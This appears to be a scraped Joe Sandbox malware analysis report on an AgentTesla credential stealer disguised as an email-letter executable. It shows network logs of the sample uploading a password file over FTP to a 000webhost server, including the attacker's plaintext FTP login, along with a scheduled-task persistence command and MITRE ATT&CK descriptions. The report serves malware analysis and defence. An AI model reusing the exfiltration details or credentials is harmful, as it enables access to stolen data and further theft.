Jun 11, 2021 14:58:14.081605911 CEST	53	50141	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:15.311315060 CEST	53023	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:15.361881971 CEST	53	53023	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:16.216814041 CEST	49563	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:16.275664091 CEST	53	49563	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:17.166984081 CEST	51352	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:17.217223883 CEST	53	51352	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:18.081861973 CEST	59349	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:18.132059097 CEST	53	59349	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:18.975440025 CEST	57084	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:19.035496950 CEST	53	57084	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:19.826948881 CEST	58823	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:19.877147913 CEST	53	58823	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:20.745188951 CEST	57568	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:20.795350075 CEST	53	57568	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:36.149271965 CEST	50540	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:36.221723080 CEST	53	50540	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:38.182879925 CEST	54366	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:38.244031906 CEST	53	54366	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:54.642185926 CEST	53034	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:54.711458921 CEST	53	53034	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:56.481997967 CEST	57762	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:56.542021036 CEST	53	57762	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:56.645064116 CEST	55435	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:56.703546047 CEST	53	55435	8.8.8.8	192.168.2.3
Jun 11, 2021 14:59:13.063411951 CEST	50713	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:59:13.122354984 CEST	53	50713	8.8.8.8	192.168.2.3
Jun 11, 2021 14:59:19.376954079 CEST	56132	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:59:19.438102007 CEST	53	56132	8.8.8.8	192.168.2.3
Jun 11, 2021 14:59:45.185534000 CEST	58987	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:59:45.264453888 CEST	53	58987	8.8.8.8	192.168.2.3
Jun 11, 2021 14:59:45.279160976 CEST	56579	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:59:45.354423046 CEST	53	56579	8.8.8.8	192.168.2.3
Jun 11, 2021 14:59:48.451159000 CEST	60633	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:59:48.510210991 CEST	53	60633	8.8.8.8	192.168.2.3
Jun 11, 2021 14:59:49.780607939 CEST	61292	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:59:49.839562893 CEST	53	61292	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 11, 2021 14:59:45.185534000 CEST	192.168.2.3	8.8.8.8	0x280	Standard query (0)	files.000webhost.com	A (IP address)	IN (0x0001)
Jun 11, 2021 14:59:45.279160976 CEST	192.168.2.3	8.8.8.8	0xbefd	Standard query (0)	files.000webhost.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 11, 2021 14:59:45.264453888 CEST	8.8.8.8	192.168.2.3	0x280	No error (0)	files.000webhost.com	us-east-1.route-1000.000webhost.awex.io		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 14:59:45.264453888 CEST	8.8.8.8	192.168.2.3	0x280	No error (0)	us-east-1.route-1000.000webhost.awex.io		145.14.145.177	A (IP address)	IN (0x0001)
Jun 11, 2021 14:59:45.354423046 CEST	8.8.8.8	192.168.2.3	0xbefd	No error (0)	files.000webhost.com	us-east-1.route-1000.000webhost.awex.io		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 14:59:45.354423046 CEST	8.8.8.8	192.168.2.3	0xbefd	No error (0)	us-east-1.route-1000.000webhost.awex.io		145.14.145.177	A (IP address)	IN (0x0001)

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jun 11, 2021 14:59:45.692617893 CEST	21	49741	145.14.145.177	192.168.2.3	220 ProFTPD Server (000webhost.com) [::ffff:145.14.145.177]
Jun 11, 2021 14:59:45.693629980 CEST	49741	21	192.168.2.3	145.14.145.177	USER zinco
Jun 11, 2021 14:59:46.013902903 CEST	21	49741	145.14.145.177	192.168.2.3	331 User zinco OK. Password required
Jun 11, 2021 14:59:46.014364004 CEST	49741	21	192.168.2.3	145.14.145.177	PASS computer147
Jun 11, 2021 14:59:46.291543007 CEST	21	49741	145.14.145.177	192.168.2.3	230-Your bandwidth usage is restricted 230-Your bandwidth usage is restricted230 OK. Current restricted directory is /
Jun 11, 2021 14:59:46.448662996 CEST	21	49741	145.14.145.177	192.168.2.3	200 OK, UTF-8 enabled
Jun 11, 2021 14:59:46.449168921 CEST	49741	21	192.168.2.3	145.14.145.177	PWD
Jun 11, 2021 14:59:46.604037046 CEST	21	49741	145.14.145.177	192.168.2.3	257 "/" is your current location
Jun 11, 2021 14:59:46.604501963 CEST	49741	21	192.168.2.3	145.14.145.177	TYPE I
Jun 11, 2021 14:59:46.759372950 CEST	21	49741	145.14.145.177	192.168.2.3	200 TYPE is now 8-bit binary
Jun 11, 2021 14:59:46.759576082 CEST	49741	21	192.168.2.3	145.14.145.177	PASV
Jun 11, 2021 14:59:46.916337967 CEST	21	49741	145.14.145.177	192.168.2.3	227 Entering Passive Mode (145,14,145,177,118,131).
Jun 11, 2021 14:59:47.080868006 CEST	49741	21	192.168.2.3	145.14.145.177	STOR PW_user-813848_2021_06_11_17_49_26.html
Jun 11, 2021 14:59:47.235999107 CEST	21	49741	145.14.145.177	192.168.2.3	150 Connecting to port 34968
Jun 11, 2021 14:59:47.395955086 CEST	21	49741	145.14.145.177	192.168.2.3	226-File successfully transferred 226-File successfully transferred226 0.160 seconds (measured here), 2.68 Kbytes per second
Jun 11, 2021 15:00:17.597672939 CEST	21	49741	145.14.145.177	192.168.2.3	421 Idle timeout (30 seconds): closing control connection

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: Following abusive email letter .exe PID: 3888 Parent PID: 5820

General

Start time:	14:58:08
Start date:	11/06/2021
Path:	C:\Users\user\Desktop\Following abusive email letter .exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Following abusive email letter .exe'
Imagebase:	0xa70000
File size:	953856 bytes
MD5 hash:	368A0EC11590E137B1CD5405CD0591DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: schtasks.exe PID: 4084 Parent PID: 3888

General

Start time:	14:58:11
Start date:	11/06/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\VUGIHQGciwlxDd' /XML 'C:\Users\user\AppData\Local\Temp\tmp1045.tmp'
Imagebase:	0x820000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 4884 Parent PID: 4084

General

Start time:	14:58:12
Start date:	11/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: RegSvcs.exe PID: 3352 Parent PID: 3888

General

Start time:	14:58:12
Start date:	11/06/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xa70000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report Following abusive email letter .exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre